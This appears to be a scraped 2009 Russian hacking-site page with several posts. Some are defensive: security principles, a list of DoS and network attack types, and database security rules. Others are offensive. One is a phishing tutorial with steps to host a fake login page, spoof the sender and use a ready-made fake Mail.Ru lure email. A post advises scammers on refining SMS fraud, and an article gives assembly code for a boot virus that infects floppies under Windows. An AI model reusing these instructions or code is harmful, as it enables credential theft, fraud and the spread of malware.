контроля — метауровень. Он описывает процесс в целом, не заостряя
внимания на деталях. Только с метауровня можно контролировать развитие
той или иной системы. Применительно к варке супа это означает, что вы
постоянно держите в голове, что хотите сварить именно суп, что для
этого обязательно нужна вода, кастрюля, какие-то ингредиенты, что воды
должно быть достаточно, что варить суп дольше сорока минут нельзя —
выкипит! Основная особенность метауровня в том, что его принципы очень
просты (до банальности), но без их соблюдения невозможно достичь
желаемого результата.
Ситуация с компьютерной безопасностью
аналогична ситуации с варкой супа: законы контроля систем —
универсальны. Но есть одно отличие. Варя суп, все мы постоянно
контролируем процесс на метауровне. Мы варим именно суп. При попытке же
наладить безопасность компьютера мы об этом уровне контроля часто
забываем. Мы сразу опускаемся до уровня промежуточного контроля и
смотрим, как наладить связь между брандмауэром, антивирусной программой
и почтовым клиентом. А иногда и вовсе перескакиваем сразу на уровень
высокой детализации: прописываем сложные скрипты для файерволов,
определяем папки для сканирования антивирусным монитором...
Давайте
разберемся, по каким законам живет мир информации. Каковы те самые
"банальные” принципы, которые все считают настолько простыми, что
постоянно о них забывают? Законодательство.
В России, как и
во всем мире, существует законодательство, регулирующее вопросы
информационной безопасности, а также защиты информации. В первую
очередь это законы РФ. Советуем ознакомиться с законом "Об информации,
информатизации и защите информации” от 20 февраля 1995 года, так как
именно он положен в основу всего информационного обмена в России. Из
других нормативных актов стоит почитать документы Гостехкомиссии,
касающиеся защиты информации и защиты от несанкционированного доступа,
а также документы ФАПСИ по этому вопросу. На тему информационной
безопасности существует порядка 40 разнообразных законов,
постановлений, нормативных актов, которые постоянно развиваются. В доступе отказано!
В
официальной литературе информационной безопасностью называют меры по
защите информации от неавторизованного доступа, разрушения,
модификации, похищения и задержек в доступе. И первым основополагающим
принципом информационной защиты является именно авторизация. Если не
углубляться в терминологию, авторизированный доступ — это
идентификация, однозначное определение пользователя с помощью одной из
систем защиты. Это может быть как парольная защита, так и доступ по
смарт-карте или электронному ключу. Встречаются и экзотические методы
авторизации — по отпечаткам пальцев, по сетчатке и радужной оболочке
глаза.
В домашних условиях редко приходится подключать сканер
сетчатки глаза, чтобы защитить информацию. Тут вступает в действие
принцип адекватности контроля: любая защита должна быть адекватной. То
есть не стоит защищать семью замками и восемью печатями дверь в
комнату, в которой нет ничего, кроме старого матраса. Идеально
защищенная система — это система, которая никак не обменивается данными
с окружающим миром. То есть ничего в эту систему не поступает и ничего
из нее не выходит. Это — идеал защищенности. Но есть одна проблема.
Если довести до такого состояния компьютер, вы не сможете на нем
работать. Поэтому уровень защиты должен быть заведомо ниже. Важен и еще
один момент: чем выше уровень контроля, тем сложнее работать с
системой. Именно поэтому важно подобрать адекватную защиту. Чтобы и
работать можно было, и злобный хакер не винчестер не пролез.
Для
домашнего компьютера, если на нем не хранятся секретные архивы КГБ,
достаточно установить пароль и задать разграничение доступа (благо,
современные операционные системы это позволяют). Этим вы не только
ограничите просмотр личной информации вашими домашними, но и защитите
данные от случайного изменения и даже удаления. Со щитом или на щите
В
серьезных компаниях вопросами защиты информации и безопасности данных
занимаются специально обученные люди — сисадмины (системные
администраторы) или обишники (инженеры по обеспечению безопасности
информации). От большинства простых пользователей они отличаются тем,
что, даже разбуженные ночью или в пьяном угаре, как отче наш проговорят
три принципа защиты информации на компьютере.
Принцип
предотвращения подразумевает, что лучше избежать проблемы, чем
заполучить ее, героически с ней сражаться и с блеском решить. Принцип
обнаружения сводится к тому, что, если предотвратить неприятность не
удалось, своевременное ее обнаружение в большинстве случаев способно
свести неприятности к минимуму. Если вы ненароком подцепили вирус
(компьютерный, хотя для болезнетворных вирусов принцип также работает),
то быстро начатое лечение способно пресечь разрушительные действия
паразита. Принцип восстановления гласит, что данные, которые могут быть
утеряны, обязательно должны храниться в виде резервных копий. Что
подойдет лично вам — дискетки, магнитооптика, CD-RW или "брелки” с
flash-карточкой, — вам же и решать. Вариантов современная компьютерная
индустрия предлагает множество. Даже методы форматирования жестких
дисков развиваются согласно принципам восстановления и защиты
информации. Одно из отличий NTFS от FAT, например, состоит в
возможности назначать права доступа отдельно к каждому файлу. Так нарушают законы
Прошли
те времена, когда хакерами были специалисты, детально знающие
компьютерную технику и способные творить чудеса с программным кодом.
Сейчас любой усидчивый, любознательный, но особо не обремененный
моральными принципами подросток способен создать рядовому пользователю
массу проблем. За примерами далеко ходить не надо, достаточно почитать
"Новости интернета” в "Игромании”. По нескольку раз в месяц разгораются
скандалы или целые судебные разбирательства, связанные с молодыми
людьми, запустившими новый почтовый червь, взломавшими сервер банка,
компьютеры министерства обороны США... Как правило, такие хулиганы
попадаются из-за собственной невнимательности или желания прославиться.
При соблюдении мер предосторожности мошенников в сфере высоких
технологий вычислить весьма трудно. В частности, именно поэтому
преступлениями в сфере информационных технологий занимается Интерпол.
Злоумышленнику,
для того чтобы получить доступ к конфиденциальной информации, порой не
требуется даже специальных навыков и умений. Во многих случаях
срабатывает человеческий фактор, например бумажка с написанным паролем
на мониторе или под стеклом возле клавиатуры. Пароли, как правило, тоже
оригинальностью не отличаются. А в недрах интернета всегда можно найти
программы, которые возьмут на себя рутинную работу по перебору наиболее
очевидных паролей.
Вспомните бородатый анекдот: "И кто сказал,
что нельзя использовать в качестве пароля клички домашних любимцев?!
Ну-ка, A:J78AFnjlk345JL, кис-кис-кис...” Этот анекдот как нельзя более
точно отражает еще один важный принцип защиты информации — избыточной
защиты там, где постоянный доступ не требуется. Именно в этих "узловых”
точках защита должна быть максимальной. Забудьте о паролях из 5—6
символов. Даже на домашнем компьютере хороший пароль — это всегда не
меньше 9—12 символов, не складывающихся в осмысленные слова.
Сейчас
любой, даже слабо разбирающийся в компьютерах, хулиган за 15 минут
найдет в интернете с десяток программ для подбора пароля из 4—6
символов и предоставляющих доступ к удаленному компьютеру. А ведь
помимо хакеров есть еще и фрикеры, специализирующиеся на взломе
электронных устройств, в частности, на сотовых телефонах, и кардеры,
взламывающие пароли и подбирающие номера к кредиткам. Но если
пользователь помнит о принципе избыточности защиты информации, то все
их попытки подобрать пятнадцатизначный пароль будут тщетны. Дело мастера боится
Подведем
итог. Основными принципами — метауровнем — защиты информации являются:
авторизация, адекватная защита информации в целом, предотвращение
потери данных, обнаружение нарушенной защиты, возможность
восстановления по резерв... Читать дальше »
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
1. Denial of service (DOS)
Класс атак, приводящих к отказу в
обслуживание. Во время таких атак происходит повышенный расход ресурсов
процессора и уменьшение канала пропускной возможности канала связи, что
может привести в сильному замедлению работы всей компьютерной системы,
отдельных задач либо вообще к полному останову задач пользователя.
Пример. Вы пошли в магазин за хлебом, а там два часа назад хулиганы
побили все стекла и весь персонал занят их уборкой; возле входа в
магазин выстроилась огромная очередь пенсионеров т.е. шанса пройти без
очереди когда магазин откроется - нет. К DOS атакам относятся Floods,
ICMP ing, Identification ing и другие.
2. Hack
Класс атак, используемые для
исследования операционных систем, приложений или протоколов с целью
последующего анализа полученной информации на предмет наличия
уязвимостей, например, Ports scan, который можно также отнести к
малоэффективной DOS-атаке. Выявленные уязвимости могут быть
использованы хакером дляосуществления несанкционированного доступа к
системе либо для подбора наиболее эффективной DOS-атаки.
3. Floods
Перевод с английского на русский -
"затопление". Во время flood-атак происходит посылка большого
количества на атакуемую систему ICMP (чаще всего) либо UDP пакетов,
которые не несут полезной информации (мусор). В результате происходит
уменьшение полосы пропускания канала и загрузка компьютерной системы
анализом пришедших бесполезных пакетов и генерацией на них ответов.
4. SYN
Затопление SYN-пакетами - самый
известный способ "забить" информационный канал. Вспомним, как работает
TCP/IP в случае входящих соединений. Система отвечает на пришедший
C-SYN-пакет S-SYN/CACK-пакетом, переводит сессию в состояние
SYN_RECEIVED и заносит ее в очередь. Если в течении заданного времени
от клиента не придет S-ACK, соединение удаляется из очереди, в
противном случае соединение переводится в состояние ESTABLISHED. По RFC
когда очередь входных соединений уже заполнена, а система получает
SYN-пакет, приглашающий к установке соединения, он будет молча
проигнорирован. Затопление SYNпакетами основано на переполненииочереди
сервера, после чего сервер перестает отвечать на запросы пользователей.
В различных системах работа с очередью реализована по разному. После
истечение некоторого времени (зависит от реализации) система удаляет
запросы из очереди. Однако ничего не мешает хакеру послать новую порцию
запросов. Таким образом, даже находясь на соединение 2400 bps, хакер
может посылать каждые полторы минуты по 20-30 пакетов на сервер,
поддерживая его в нерабочем состоянии. Атака обычно направлена на
определённую, конкретную службу, например telnet или ftp. Она
заключается в передаче пакетов установления соединения на порт,
соответствующий атакуемой службе. При получении запроса система
выделяет ресурсы для нового соединения, после чего пытается ответить на
запрос (послать "SYN-ACK") по недоступному адресу. По умолчанию NT
версий 3.5-4.0 будет пытаться повторить подтверждение 5 раз - через 3,
6, 12, 24 и 48 секунд. После этого еще 96 секунд система может ожидать
ответ, и только после этого освободит ресурсы, выделенные для будущего
соединения. Общее время занятости ресурсов - 189 секунд.
5. ICMP ( ping)
Перевод с английского на русский -
"поток пингов". Во время этой атаки происходит посылка компьютерной
системе жертвы большого количества запросов эха ICMP (пинг системы). В
результате происходит уменьшение полосы пропускания канала и загрузка
компьютерной системы анализом пришедших пакетов и генерацией на них
ответов. Примечание: В мирных целях пинг используется администраторами
и пользователями для проверки работоспособности основных частей
транспортной системы вычислительной сети, оценить работу сети при
максимальной нагрузке. Программа посылает ICMP-пакет типа ECHO REQUEST,
выставляя в нем время и его идентификатор. Ядро машины-получателя
отвечает на подобный запрос пакетом ICMP ECHO REPLY. Получив его, ping
выдает скорость прохождения пакета. При стандартном режиме работы
пакеты высылаются через некоторые промежутки времени, практически не
нагружая сеть.
6. Identification (identd)
Запрос идентификации системы. Эта
атака очень похожа на ICMP ping, отличается только тем, что происходит
запрос информации о компьютерной системе (TCP порт 113). Атака более
эффективна т.к. анализ этих запросов и генерирование на них ответов
забирают больше процессорного времени, чем при пингах.
7. DNS scan
Эта атака, направленная на сервера
имён Internet. Она заключается в передаче большого числа DNS запросов и
приводит к тому, что у пользователей нет возможности обращаться к
сервису имен и, следовательно, обеспечивается невозможность работы
обычных пользователей. DNS scan. Известно, что прежде чем начинать
атаку, хакеры осуществляют выявление целей, т.е. выявление компьютеров,
которые будут жертвами атаки, а также компьютеров, которые осуществляют
информационный обмен с жертвами. Одним из способов выявления целей
заключается в опросе сервера имён и получение от него всей имеющейся
информации о домене.
8. Ports scan
Сканирование компьютерной системы на
наличие портов, путем попыток их открытия. Эта атака также расходует
ресурсы системы . Обычно она используется для поиска слабых мест
<дырок> в компьютерной системе и предшествует более элегантной
атаке; ресурсы системы расходует намного скромнее нежели другие.
9. Unreachable (dest_unreach, ICMP type 3)
Эта атака заключается в том, что
компьютерной системе посылается сообщение ICMP type 3, которое
сообщает, что порт назначения недоступен тем самым обманывая систему и
вынуждая ее разорвать соединение т.к. она будет "думать" что пакеты не
доходят. ICMP type 3 может посылаться клиентской машине, которая затем
произведет отключение либо посылаться серверу и инициатором отключения
станет он. Посылку ICMP type 3 осуществляет хакер.
10. WinNuke
Hаpяду с обычными данными
пеpесылаемыми по TCP соединениюcтандаpт пpедустатpивает также пеpедачу
сpочных (Out Of Band)данных. Hа уpовне фоpматов пакетов TCP это
выpажается в ненулевомurgent pointer. У большинства PC с установленным
Windows пpисутс-твует сетевой пpотокол NetBIOS, котоpый использует для
своих нужд3 IP поpта: 137, 138, 139. Как выяснилось, если соединиться
сWindows машиной в 139 поpт и послать туда несколько байт OutOf-Band
данных, то pеализация NetBIOS-а не зная что делать с этимиданными
попpосту подвешивает или пеpезагpужает машину. Для Windows 95 это
обычно выглядит как синий текстовый экpан, сообщающийоб ошибке в
дpайвеpе TCP/IP и невозможность pаботы с сетью до пеpезагpузки ОC. NT
4.0 без сеpвис паков пеpезагpужается, NT 4.0 совтоpым сеpвис паком
выпадает в синий экpан.
11. Boink (Bonk, Teardrop, new Tear/Tear2)
При передачи пакета данных протокола
IP по сети может осуществляться деление этого пакета на несколько
фрагментов. В последствии, при достижении адресата, пакет
восстанавливается из этих фрагментов. Хакер может инициировать посылку
большого числа фрагментов, что приводит к переполнению программных
буферов на приемной стороне и, в ряде случаев, к аварийному завершению
системы. Количество реализаций этой атаки достаточно велико. На
компьютер-жертву передается несколько фрагментированных IP пакетов,
которые при сборке образуют один пакет размером более 64К(максимальный
размер IP пакета равен 64К минус длина заголовка).Данная атака была
эффективна против компьютеров с ОС Windows. При получении такого пакета
Windows NT, не имеющая специального патча icmp-fix, "зависает" или
аварийно завершается. Другие варианты подобных атак используют
неправильные смещения в IP фрагментах,что приводит к некорректному
выделению памяти, переполнению буферов и, в конечном итоге, к сбоям в
работе систем.
12. PingOfDeath (Ssping, IceNuke, Jolt)
Сущность атаки в следующем: на машину
жертвы посылается сильно фрагментиpованный ICMP пакет большого pазмеpа
(64KB). РеакциейWindows-систем на получение такого пакета является
безоговорочное повисание, включая мышь и клавиатуру. Программа для
атаки широкодоступна в сети в виде исходника на C и в виде запускаемых
файловдля некоторых версий Unix. Любопытно, что в отличие от
WinNukeжертвой такой атаки могут стать не только Windows машины, атаке
подвержены MacOS и некоторые веpсии Unix. Преимущества такого способа
атаки в том, что обычно firewall пропускает ICMP пакеты,а если firewall
и настроен на фильтрацию адресов посылателей, то,используя нехитрые
приемы spoofing, можно обмануть и такой firewall. Недостаток
PingOfDeath в том, что для одной атаки надо переслать более 64KB по
сети, что делает вообще его говоря малопpименимым для шиpокомасштабных
дивеpсий.
13. Land
Эта атака использует уязвимости
реализаций стека TCP/IP в некот ... Читать дальше »
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
|
Очень часто слышу вопросы из серии «как пользоваться фэйком», «как настроить/залить фейк» и т.д. Итак, давайте сначала определимся, что есть фэйк.
Фэйк (Fake)
(от англ. fake - подделка) – подделка веб-страницы с авторизацией,
например точная копия странички сайта vkontakte.ru, но созданная
злоумышленником, для того, что Вы ввели туда свои данные
(логин/пароль), при вводе эти данные либо отправляються ему на e-mail,
либо сохраняються в текстовой файле на хосте. Итак, фэйк нужной Вам
страницы можно сделать самому, для этого нужны небольшие знания языка
PHP, а можно и скачать уже готовые, если это фэйк какого-нибудь
популярного ресурса (mail.ru, yandex.ru, vkontakte.ru,
odnoklassniki.ru, rambler.ru etc). Далее открываем его с помощь.
Какого-либо текстового редактора (можно и редактор PHP, дело ваше), и
смотрим, сохраняет ли он данные в файл, или отправляет на емейл. Там
есть комментарии, посему как правило все понятно, если в коде есть
емейл, его надо заменить на свой. После этого фэйк настроен.
Следующим
этапом является регистрация хоста, для примера возьмем http://holm.ru и
регистрируемся там. По завершении процедуры регистрации вам будет
показано куда заливать файлы и т.п. Заливаем туда все файлы нашего
фэйка (index.htm и остальные php-скрипты). Далее переходим по
зарегистрированному вами имени, например mysite.h18.ru и видим
результат работы, наш фэйк.
Теперь надо заманить сюда жертву,
тут главное не спугнуть. Допустим у нас висит фэйк сайта http://mail.ru
, значит надо отослать письмо жертве, якобы от Администрации Мэйл.Ру,
для подделки адрес отправителя можем использовать программу Crazy Mail
(http://freesoft.ru/?id=675723) или какие-либо бесплатные сервисы в
Интернет. Теперь формируем текст письма, но хочу заметить, при
написании выбираем «Расширенный режим», далее «Вставить ссылку», и
подставляем в первое поле ссылку на наш сайт, а в нижнее что-то типа
http://mail.ru/cgi-bin/auth?id=11921688940000012244 , чтобы было
правдоподобнее. Вобщем приблизительный текст письма будет выглядеть так
(вы можете придумать свой развод):
«Подтвердите активность Вашего почтового ящика mymail@mail.ru
В случае не получения Вашего подтверждения, Ваш почтовый ящик приобретет статус неактивного аккаунта и будет удален с нашего сервера Mail.Ru! Просим подтвердить активность Вашего почтового ящика, для этого пройдите по следующей ссылке: http://mail.ru/cgi-bin/auth?id=11921688940000012244 В
случае не получения Вашего подтверждения, Ваш аккаунт приобретет статус
недействительного и будет удален с нашего сервера без возможности
восстановления.
Все эти временные неудобства по причине того, что мы хотим повысить качество и скорость работы нашей системы.
Вы получили это письмо, потому что зарегистрированы на сайте Mail.Ru
С уважением, Администрация Mail.Ru»

Когда жертва перейдет по ссылке, она попадет на ваш сайт, и после
авторизации (ввода логина и пароля) все ее данные уплывут к вам. Удачного использования!
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
Криворукие синжеры в контакте.
Всем привет, в данной статье я опишу криворукость и неподготовленность (точней плохую подготовленность) синжеров в контакте. Как-то
раз мне позвонили знакомы и попросили придти сделать компьютер (меня
всегда обычно знакомые этим терроризируют). Я спросил в чем проблема,
мне ответили что интернет не работает. Ну я не стал сильно утруждать их
мозг расспросами по телефону, оделся и отправился к им. Прихожу я по
вызову, сажусь за комп, подключаю интернет, все нормально, захожу в
гугл (www.google.ru), все нормально. Я в недоумении... Спрашиваю а что
собственно случилось то? Тут мне отвечают, что не заходит в контакт и в
другие социальные сети. Я начал пробовать. Захожу в контакт со своего
аккаунта, и правда не заходит... Выводит сообщение такого вида: В связи
с большой регистрацией анонимных анкет, введено подтверждение по СМС.
Отправьте смс с текстом: ****** на номер ******, полученный код введите
ниже. Смс бесплатное! (что бесплатное брехня) Тут видно, на лицо
обратная социальная инженерия. Само собой я не чего отправлять я не
стал. Просто почистил host файл (в нем и был вредный код). Пробую
снова, думаю ща все ок будет, ай нет! Тут мне пришлось искать
выход не стандартным методом. Даже азарт проснулся=). Вдруг я вспомнил,
что обычно в подтверждении смс при регистрации обычно 5 или 8 цифр.
Ввожу 8 цифр от балды в поле ввода кода подтверждения... Не работает...
Далее ввожу пять цифр от балды, и на мое удивление контакт заработал.
Все! Система защиты сломлена! Вот и все, схема "синжеров" развалилась с треском! Сама
то схема не плохая, при небольшом ее редактировании... И задумано не
плохо. Но вот эти "Синжеры", которые пытались провернуть эту схемку, не
достаточно хорошо позаботились о технической части схемы. Система
защиты была сломлена с первой(!) попытки подбора 5-ти значного кода.
То есть вот тут то они и допустили ошибку! Весьма досадно! Не
допускайте таких ошибок в организации схемы, уделяйте максимум внимания
технической части схемы, а саму схему "шлифуйте" так чтоб не оставалось
не каких зацепок которые могли бы породить сомнение! С уважением к новичкам. (с) Админ 2009
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
"Наш путь труден, но перспективы - светлые !" Мао Цзедун * Данная работа является обновленной версией статьи "Несколько слов о загрузочных вирусах".По сравнению с предыдущей версией, статья суще- ственно переработана и дополнена: 1.Алгоритм работы вируса принципиально изменен.Теперь вирус работает при запуске из - под WINDOWS различных DOS - приложений ( VC, NC и т.п. ). Предыдущая версия такой возможностью не обладала. 2.Исключен материал по переделке вируса в STEALTH. 3.Изменены кое - какие мелочи 4.Желающие ознакомиться с предыдущей версией статьи могут воспользо- ваться моей книжкой, ссылка на которую находится в конце докумен- та. 1.1 Краткие сведения о начальной загрузке персонального компьютера Для начала следует сказать несколько слов о том, как происходит на- чальная загрузка ЭВМ. После проверки аппаратной части компьютера и за- полнения таблицы векторов прерываний BIOS пытается прочитать первый сектор нулевой дорожки нулевой стороны диска в дисководе " A ". Этот сектор помещается в память по адресу 0000:7C00h, после чего на указан- ный адрес передается управление. В прочитанном секторе содержится про- грамма начальной загрузки (BOOT - запись) и некоторые другие сведения, необходимые для доступа к данным на диске. Программа начальной загру- зки проверяет, является - ли диск системным. Если это так,то загрузка операционной системы с диска продолжается, а если нет, то на экран вы- водится сообщение : Non system disk or disk error Replace and press any key when ready . после чего система ожидает действий оператора.Если же диск в " A " - дисководе отсутствует,то программа BIOS считывает первый сектор нуле- вой дорожки нулевой стороны первого жесткого диска. Он также помеща- ется в память по адресу 0000:7C00h, после чего по указанному адресу передается управление.В прочитанном секторе на жестком диске записана так называемая MBR (главная загрузочная запись). MBR является про- граммой, которая определяет активный раздел жесткого диска, считывает загрузочную запись (BOOT - запись) этого раздела в оперативную память и отдает ей управление.Дальше все происходит, как при загрузке системы с гибкого диска. Как видим, процесс загрузки с винчестера является как бы двухступенчатым. Если же программа MBR не нашла активный раздел, то выдается сообщение об отсутствии загрузочных устройств, и система останавливается.В неко- торых старых машинах при невозможности запустить операционную систему загружается встроенный язык БЕЙСИК,записанный в микросхемах ПЗУ. 1.2 Понятие о загрузочных вирусах Загрузочными называют вирусы, способные заражать загрузочные сектора гибких и жестких дисков и получающие управление при попытке "запус- тить " операционную систему с зараженного диска. Можно выделить следующие основные разновидности вирусных программ указанного типа : 1. Заражающие BOOT - сектора гибких дисков 2. Заражающие BOOT - запись активного раздела жесткого диска и BOOT - сектора гибких дисков 3. Заражающие MBR (Master Boot Record) жесткого диска и BOOT - сектора гибких дисков Отметим, что заражение BOOT - секторов дискет является обязательным, иначе вирус просто не сможет распространяться . Кроме того, почти все загрузочные вирусы являются резидентными, что объясняется спецификой их работы. 1.3 Анализ традиционного алгоритма работы загрузочного вируса Как вы, вероятно, знаете, почти все загрузочные вирусы перехватывают Int 13h и заражают гибкие диски при попытке чтения или записи их со- держимого через это прерывание.Но, оказывается, такой метод имеет один серьезный недостаток: при работе под WINDOWS вирус отказывается инфи- цировать загрузочные сектора дискет.С целью выяснить причины этого яв- ления автор провел множество экспериментов, которые дали следующий ре- зультат: При чтении или записи гибких дисков WINDOWS не вызывает Int 13h, а взаимодействует непосредственно с контроллером дисковода, работая с его портами ввода - вывода. Ясно, что при таком методе работы наш вирус никогда не получит управ- ления, а будет просто присутствовать в памяти.Таким образом, с помощью старых методов заставить BOOT - вирус нормально работать под WINDOWS, скорее всего,не удастся.Необходим совершенно новый подход.Но об этом - в следующем пункте. *** Следует заметить,что при работе с жестким диском WINDOWS все же вы- зывает Int 13h, что следует из проведенных автором экспериментов. *** 1.4 Разрабатываем новый алгоритм активизации Легче всего сказать, что подход должен быть новым. Труднее предложить что - то по существу. Были придуманы несколько методик, но все они не дали положительного результата. И тут автор неожиданно получил очень своеобразное предложение - вместо Int 13h использовать для активизации вируса Int 21h. В самом деле, почему бы нам не перехватить Int 21h, и не попробовать проследить за сменой текущего диска (функция 0Eh).И как только активным станет дисковод " A " или " B ", заразить диск в этом дисководе!!! Просто и со вкусом ( идея Danny Dio, за что ему - благо- дарность ). А мы продолжаем. 1.5 О перехвате Int 21h программой, загружаемой из Master Boot Record Дело за малым - осталось перехватить Int 21h,и задача решена. Но выяс- нилось, что это не так просто. Естественно было бы поступить так : 1. Первым делом установить вектор Int 1Ch или Int 08h (оба - таймер) на собственный обработчик. 2. Этот обработчик следит за вектором Int 21h, и как только последний изменяется - перехватывает Int 21h. 3. Далее обработчик Int 1Ch (Int 08h) " обезвреживает " себя в памяти, например, командой "IRET", чтобы машина не зависала. Так и было сделано, после чего началось самое интересное. Обработчик Int 21h исправно выполнялся несколько секунд,после чего его бессовес- тно топили - то ли MSDOS.SYS, то ли COMMAND.COM - не важно.Чтобы из- бавиться от этого эффекта, я придумал кучу способов - например, ждал не первого изменения вектора Int 21h, а третьего, десятого и т.п. Как ни странно,ничего не получалось.Конечно,можно было бы поступить и так: 1. Отловить момент, когда OC уже загружена и начинают выполняться про- граммы, записанные, например, в AUTOEXEC.BAT. 2. Перехватить Int 21h. Проблема здесь в следующем: совершенно неясно, как именно засечь этот замечательный момент.Кроме того,такой метод тоже не дает стопроцентной гарантии. Поэтому идею пришлось отклонить, а вместо нее предложить ал- горитм,который обсуждается в следующем пункте. 1.6 О применении вектора Int 16h Как вы, наверное, знаете, прерывание Int 16h является программным и может вызываться,например,из программы пользователя для выполнения не- которых действий, таких как чтение символа с клавиатуры, получение ее флагов и т.п. При этом оно обладает одним замечательным свойством, а именно - пользовательский обработчик Int 16h не утапливается WINDOWS при загрузке,и вызывается даже в WORDе, EXCELе и FARе.Так, в проведен- ном автором эксперименте, при нажатии двух SHIFTов загрузочный сектор дискеты считывался и тут же записывался на место. Опытная программа загружалась из MBR и работала в любых WINDOWS - приложениях. Этот факт решено было использовать для построения "непотопляемой" процедуры об- работки Int 21h. Итак, предлагаю такой алгоритм: 1. Установить вектор Int 16h на вирусный обработчик. 2. Этот обработчик постоянно вызывает вирусную процедуру Int 21h какой - нибудь экзотической собственной функцией, типа AX = 0BABCh. 3. Если вирусная процедура обработки Int 21h активна, она должна " от- ветить " на этот вызов (пусть это будет AL = 98h). Если ответа нет, обработчик Int 21h не установлен или утоплен, поэтому Int 21h сле- дует перехватить. Не совсем просто, но тоже со вкусом.Сами процедуры обработки Int 16h и Int 21h могут быть,например, такими: *** Текст обработчика Int 16h: new_16h: push ax ;Сохраним push bx ;регистры push dx ;в push ds ;стеке push es ; pushf ; ; mov ax,0babch ;Вызовем вирусный int 21h ;обработчик cmp al,98h ;Int 21h собст- je cs:rrr_rrr ;венной функцией ;AX = 0babch.Если ;обработчик акти- ;вен, мы должны ;получить AL=98h, ;иначе Int 21h ;следует перехва- ;тить, чем мы и ;займемся: push cs ;DS = CS pop ds ; ; cli ;Запретить преры- ;вания mov ax,3521h ;Получим и сохра- int 21h ;ним вектор mov old_21h - 100h,bx ;Int 21h mov old_21h_2 - 100h,es; ; mov ax,2521h ;А теперь пере- mov dx,to_new_21h ;ставим этот век- int 21h ;тор на вирусный ;обработчик sti ;Разрешить преры- ;вания rrr_rrr: popf ;Восстановим pop es ;из pop ds ;стека pop dx ;регистры pop bx ; pop ax ; ; db 0eah ;И перейдем на old_16h dw 0 ;системный обра- old_16h_2 dw 0 ;ботчик Int 16h *** Текст обработчика Int 21h (он отслеживает смену оператором текущего диска.Если текущим станови- тся диск "A" или "B", обработчик заражает этот диск): new_21h: pushf ;Этот участок cmp ax,0babch ;обработчика jne cs:else_func ;Int 21h отвечает mov al,98h ;обработчику popf ;Int 16h значени- iret ;ем AL = 98h; это ;служит признаком ;активности виру- ;сной процедуры ;обработки ;Int 21h ; else_func: popf ;Сохраним push ax ;регистры push bx ;в push cx ;стеке push dx ; push di ; push ds ; push es ; pushf ; ; cmp ah,0eh ;Смена текущего ;диска ? jne cs:restore_regs ;Нет - на выход cmp dl,1 ;Да - текущим ;хотят сделать ;" A " или " B " ;дисковод ? ja cs:restore_regs ;Нет - на выход ;Иначе - продол- ;жим : Далее следует " заразная " часть процедуры обработки Int 21h: ; ...<... Читать дальше »
|
Скрины:
Дата: 26.12.2009
Добавил: Админ
Комментарии: (0)
|
| |
|
|
|
|
|
|
|
|
Вопросы обеспечения безопасности баз данных так или иначе обсуждаются на протяжении уже ряда лет.
Но
только в последние два года эта тема всерьез привлекла внимание
отраслевых аналитиков и профессионалов в области информационной
безопасности и баз данных. Ниже приведены семь эффективных правил,
которые помогут специалистам по безопасности защитить свои базы данных.
Правило № 1: что бы вы ни делали — думайте о безопасности Постоянно
оценивайте свои действия с точки зрения их безопасности как при
разработке приложений, так и при выполнении повседневных задач по
управлению пользователями и данными. Не думайте о безопасности, как о
чем-то таком, чем следует заниматься раз в месяц. Обучайте
пользователей думать так же. Большинство "дыр” в системах безопасности
обусловлено недостаточной подготовленностью персонала и пренебрежением
правилами безопасности, а не иными причинами.
Правило № 2: используйте принцип минимальных привилегий Принцип
минимальных привилегий предполагает, что пользователи и приложения
наделяются минимальным набором прав и привилегий, необходимым для
нормального функционирования. В результате не только ограничивается
доступ пользователей к базе данных, но и возникает необходимость в
регулярном пересмотре прав доступа и их уточнении.
Многие
компании дают широкие права нанятым по временному договору
консультантам и разработчикам, а потом, когда работа закончена,
забывают эти права отменить или скорректировать. Имейте в виду, что
даже безобидные на первый взгляд привилегии могут быть использованы для
злонамеренных атак и получения доступа через обнаруженные уязвимости.
Поэтому в каждом случае очень тщательно продумывайте, какие права
следует предоставить пользователю или приложению.
Правило № 3: минимизируйте пространство атаки Гораздо
сложнее обезопасить большой дом с большим числом окон, чем маленький
дом с несколькими окнами. Аналогично обстоит дело и с базами данных.
Чем они сложнее, тем больше периметр для атаки. Постарайтесь ограничить
этот периметр, устраняя те компоненты, которые не используются.
Правило № 4: управляйте паролями Одна
из главных и наиболее простых целей для хакерских атак — учетные записи
пользователей с установленными по умолчанию или слабыми паролями.
Список паролей, назначаемых по умолчанию, можно найти в Интернете, и
есть много инструментов, которые помогают хакерам взламывать эти
пароли, например, с использованием так называемых радужных таблиц
(rainbow table) и проводить различного рода атаки. Применяйте эти же
инструменты, чтобы выявлять слабые и "дефолтные” пароли в базах данных.
Правило № 5: помните, что шифрование — это не панацея Шифрование
— это, как правило, первое, что приходит в голову, когда задумываешься
о безопасности данных, и его, несомненно, имеет смысл рекомендовать для
защиты важной информации. Однако такой способ защиты стоит недешево, да
и сам по себе он не прост в использовании и управлении. Шифруйте только
критически важные данные, для защиты которых это просто необходимо.
Внимательно подходите к управлению ключами шифрования/дешифрования и
меняйте их регулярно. Очень важно сочетать шифрование с другими
средствами и процедурами, такими как мониторинг активности, аудит,
периодическая оценка уязвимости и аутентификация пользователей.
Правило № 6: не забывайте о том, что подход к обеспечению безопасности должен быть комплексным Многие
компании выделяют средства и ресурсы на обеспечение безопасности баз
данных, но пренебрегают этим при разработке и тестировании среды для
этих баз, а также при создании предварительных демонстрационных версий.
Поскольку демонстрационный код впоследствии часто переносится в
окончательную версию программы, он должен быть так же безопасен, как и
основной код. Кроме того, часто реальные данные используются во
вспомогательных средах без всякой маскировки. Это порождает серьезные
угрозы безопасности. Настоятельно рекомендуется относиться к
вспомогательным инструментам так же тщательно, как и к основным.
Правило №7: используйте заплатки Многое
уже сказано и написано о том, как вендоры DMBS справляются с
уязвимостями и как быстро они закрывают их специальными заплатками.
Однако число обнаруживаемых "дыр” в последние годы только растет. И
хотя вендоры удваивают свои усилия, удваивают усилия и хакеры. Кроме
того, распространение программных заплаток обычно занимает несколько
месяцев. И еще несколько месяцев заказчики устанавливают их в свои
программы, поскольку необходимо время на тестирование обновлений.
Многие заказчики пренебрегают заплатками, и тогда их базы данных
